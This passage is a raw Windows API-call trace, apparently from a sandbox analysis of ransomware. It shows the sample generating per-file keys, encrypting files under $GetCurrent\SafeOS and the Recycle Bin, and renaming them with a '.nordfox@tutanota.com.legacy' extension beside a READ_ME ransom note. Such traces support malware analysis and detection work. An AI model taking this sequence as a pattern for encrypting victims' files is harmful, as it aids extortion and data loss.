Size=0x4a) returned 0x56d5b0 [0095.613] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4a) returned 0x56d710 [0095.613] ReadFile (in: hFile=0x478, lpBuffer=0x56d5b0, nNumberOfBytesToRead=0x4a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x56d5b0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4a, lpOverlapped=0x0) returned 1 [0095.614] SetFilePointer (in: hFile=0x478, lDistanceToMove=-74, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.614] WriteFile (in: hFile=0x478, lpBuffer=0x56d710*, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x56d710*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4a, lpOverlapped=0x0) returned 1 [0095.614] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d5b0 | out: hHeap=0x520000) returned 1 [0095.614] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d710 | out: hHeap=0x520000) returned 1 [0095.614] SetFilePointer (in: hFile=0x478, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4a [0095.614] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0095.614] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584670*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584670*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0095.615] WriteFile (in: hFile=0x478, lpBuffer=0x584670*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584670*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0095.615] WriteFile (in: hFile=0x478, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0095.615] CloseHandle (hObject=0x478) returned 1 [0095.616] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584670 | out: hHeap=0x520000) returned 1 [0095.616] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0095.616] MoveFileExW (lpExistingFileName="\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), lpNewFileName="\\$GetCurrent\\SafeOS\\preoobe.cmd.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0095.618] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5519c8 | out: hHeap=0x520000) returned 1 [0095.618] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0095.618] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0095.618] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b88 [0095.618] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584040 [0095.618] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d250 [0095.618] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584040 | out: pbBuffer=0x584040) returned 1 [0095.618] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d250 | out: pbBuffer=0x54d250) returned 1 [0095.618] SetFileAttributesW (lpFileName="\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd", dwFileAttributes=0x80) returned 1 [0095.618] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0095.618] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0095.618] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0095.618] CreateFileW (lpFileName="\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x478 [0095.618] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=577) returned 1 [0095.618] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x241) returned 0x583308 [0095.618] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x241) returned 0x58bf50 [0095.618] ReadFile (in: hFile=0x478, lpBuffer=0x583308, nNumberOfBytesToRead=0x241, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x583308*, lpNumberOfBytesRead=0x2e1f9bc*=0x241, lpOverlapped=0x0) returned 1 [0095.656] SetFilePointer (in: hFile=0x478, lDistanceToMove=-577, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.656] WriteFile (in: hFile=0x478, lpBuffer=0x58bf50*, nNumberOfBytesToWrite=0x241, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x58bf50*, lpNumberOfBytesWritten=0x2e1f9bc*=0x241, lpOverlapped=0x0) returned 1 [0095.656] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x583308 | out: hHeap=0x520000) returned 1 [0095.656] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x58bf50 | out: hHeap=0x520000) returned 1 [0095.656] SetFilePointer (in: hFile=0x478, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x241 [0095.656] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0095.656] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584040*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584040*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0095.656] WriteFile (in: hFile=0x478, lpBuffer=0x584040*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584040*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0095.657] WriteFile (in: hFile=0x478, lpBuffer=0x54d250*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d250*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0095.657] CloseHandle (hObject=0x478) returned 1 [0095.660] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584040 | out: hHeap=0x520000) returned 1 [0095.660] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d250 | out: hHeap=0x520000) returned 1 [0095.660] MoveFileExW (lpExistingFileName="\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), lpNewFileName="\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0095.722] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0095.722] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b88 | out: hHeap=0x520000) returned 1 [0095.722] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556bf0 | out: hHeap=0x520000) returned 1 [0095.722] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b20 [0095.722] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584250 [0095.722] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0095.722] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584250 | out: pbBuffer=0x584250) returned 1 [0095.722] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0095.722] SetFileAttributesW (lpFileName="\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini", dwFileAttributes=0x80) returned 1 [0095.749] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556980 [0095.749] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0095.749] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556980 | out: hHeap=0x520000) returned 1 [0095.749] CreateFileW (lpFileName="\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x478 [0095.749] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=156) returned 1 [0095.749] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x9c) returned 0x5519c8 [0095.749] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x9c) returned 0x56c808 [0095.749] ReadFile (in: hFile=0x478, lpBuffer=0x5519c8, nNumberOfBytesToRead=0x9c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5519c8*, lpNumberOfBytesRead=0x2e1f9bc*=0x9c, lpOverlapped=0x0) returned 1 [0095.750] SetFilePointer (in: hFile=0x478, lDistanceToMove=-156, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.750] WriteFile (in: hFile=0x478, lpBuffer=0x56c808*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x56c808*, lpNumberOfBytesWritten=0x2e1f9bc*=0x9c, lpOverlapped=0x0) returned 1 [0095.751] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5519c8 | out: hHeap=0x520000) returned 1 [0095.751] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c808 | out: hHeap=0x520000) returned 1 [0095.751] SetFilePointer (in: hFile=0x478, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x9c [0095.751] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0095.751] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584250*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584250*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0095.751] WriteFile (in: hFile=0x478, lpBuffer=0x584250*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584250*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0095.751] WriteFile (in: hFile=0x478, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0095.752] CloseHandle (hObject=0x478) returned 1 [0095.752] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584250 | out: hHeap=0x520000) returned 1 [0095.752] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0095.752] MoveFileExW (lpExistingFileName="\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), lpNewFileName="\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0095.755] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0095.755] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b20 | out: hHeap=0x520000) returned 1 [0095.755] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5566a8 | out: hHeap=0x520000) returned 1 [0095.755] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d5b0 [0095.755] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584670 [0095.755] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0095.755] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584670 | out: pbBuffer=0x584670) returned 1 [0095.755] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0095.755] SetFileAttributesW (lpFileName="\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll", dwFileAttributes=0x80) returned 1 [0097.128] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d450 [0097.128] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0097.128] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0097.128] CreateFileW (lpFileName="\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x478 [0097.129] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=144072) returned 1 [0097.129] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x232c8) returned 0x58bf50 [0097.129] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x232c8) returned 0x5af220 [0097.129] ReadFile (in: hFile=0x478, lpBuffer=0x58bf50, nNumberOfBytesToRead=0x232c8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x58bf50*, lpNumberOfBytesRead=0x2e1f9bc*=0x232c8, lpOverlapped=0x0) returned 1 [0097.378] SetFilePointer (in: hFile=0x478, lDistanceToMove=-144072, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0097.378] WriteFile (in: hFile=0x478, lpBuffer=0x5af220*, nNumberOfBytesToWrite=0x232c8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5af220*, lpNumberOfBytesWritten=0x2e1f9bc*=0x232c8, lpOverlapped=0x0) returned 1 [0097.379] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x58bf50 | out: hHeap=0x520000) returned 1 [0097.380] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5af220 | out: hHeap=0x520000) returned 1 [0097.439] SetFilePointer (in: hFile=0x478, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x232c8 [0097.439] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0097.439] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584670*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584670*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0097.441] WriteFile (in: hFile=0x478, lpBuffer=0x584670*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584670*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0097.441] WriteFile (in: hFile=0x478, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0097.441] CloseHandle (hObject=0x478) returned 1 [0097.458] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584670 | out: hHeap=0x520000) returned 1 [0097.460] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0097.461] MoveFileExW (lpExistingFileName="\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), lpNewFileName="\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0097.522] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0097.522] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d5b0 | out: hHeap=0x520000) returned 1 [0097.522] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d138 | out: hHeap=0x520000) returned 1 [0097.522] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0097.522] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566d60 | out: hHeap=0x520000) returned 1 [0097.522] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a4b0 | out: hHeap=0x520000) returned 1 [0097.522] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571bd0 | out: hHeap=0x520000) returned 1 [0097.522] FindFirstFileW (in: lpFileName="\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb8c0c7d4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x552ea0 [0097.522] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0097.522] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0097.522] GetLastError () returned 0x0 [0097.522] SetLastError (dwErrCode=0x0) [0097.522] GetLastError () returned 0x0 [0097.523] SetLastError (dwErrCode=0x0) [0097.523] GetLastError () returned 0x0 [0097.523] SetLastError (dwErrCode=0x0) [0097.523] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566cf0 [0097.523] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d190 [0097.523] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d190 | out: hHeap=0x520000) returned 1 [0097.523] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0097.523] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x553060 [0097.523] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553060 | out: hHeap=0x520000) returned 1 [0097.523] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20108 [0097.523] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20108 | out: hHeap=0x520000) returned 1 [0097.523] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0097.523] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566cf0 | out: hHeap=0x520000) returned 1 [0097.523] FindNextFileW (in: hFindFile=0x552ea0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb8c0c7d4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0097.523] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0097.524] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0097.524] GetLastError () returned 0x0 [0097.524] SetLastError (dwErrCode=0x0) [0097.524] GetLastError () returned 0x0 [0097.524] SetLastError (dwErrCode=0x0) [0097.524] GetLastError () returned 0x0 [0097.524] SetLastError (dwErrCode=0x0) [0097.524] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566bd8 [0097.524] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d9d0 [0097.524] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d9d0 | out: hHeap=0x520000) returned 1 [0097.524] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0097.524] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x552f20 [0097.524] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552f20 | out: hHeap=0x520000) returned 1 [0097.524] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20348 [0097.524] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20348 | out: hHeap=0x520000) returned 1 [0097.524] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0097.524] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566bd8 | out: hHeap=0x520000) returned 1 [0097.524] FindNextFileW (in: hFindFile=0x552ea0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0097.525] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0097.525] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0097.525] GetLastError () returned 0x0 [0097.525] SetLastError (dwErrCode=0x0) [0097.525] GetLastError () returned 0x0 [0097.525] SetLastError (dwErrCode=0x0) [0097.525] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0097.525] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0097.525] GetLastError () returned 0x0 [0097.525] SetLastError (dwErrCode=0x0) [0097.525] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0097.525] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0097.525] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d190 [0097.525] FindNextFileW (in: hFindFile=0x552ea0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8c0c7d4, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb8c0c7d4, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb8c32a12, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0097.525] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0097.525] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0097.525] GetLastError () returned 0x0 [0097.525] SetLastError (dwErrCode=0x0) [0097.525] GetLastError () returned 0x0 [0097.525] SetLastError (dwErrCode=0x0) [0097.525] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0097.525] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0097.525] GetLastError () returned 0x0 [0097.525] SetLastError (dwErrCode=0x0) [0097.525] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0097.526] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0097.526] FindNextFileW (in: hFindFile=0x552ea0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8c0c7d4, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb8c0c7d4, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb8c32a12, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0097.526] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d710 [0097.526] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584da8 [0097.526] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0097.526] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584da8 | out: pbBuffer=0x584da8) returned 1 [0097.526] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0097.526] SetFileAttributesW (lpFileName="\\$Recycle.Bin\\S-1-5-18\\desktop.ini", dwFileAttributes=0x80) returned 1 [0097.544] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d7c0 [0097.544] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x56c808 [0097.544] HeapFree (in: hHeap=0x520000, dwFlags=0x0, 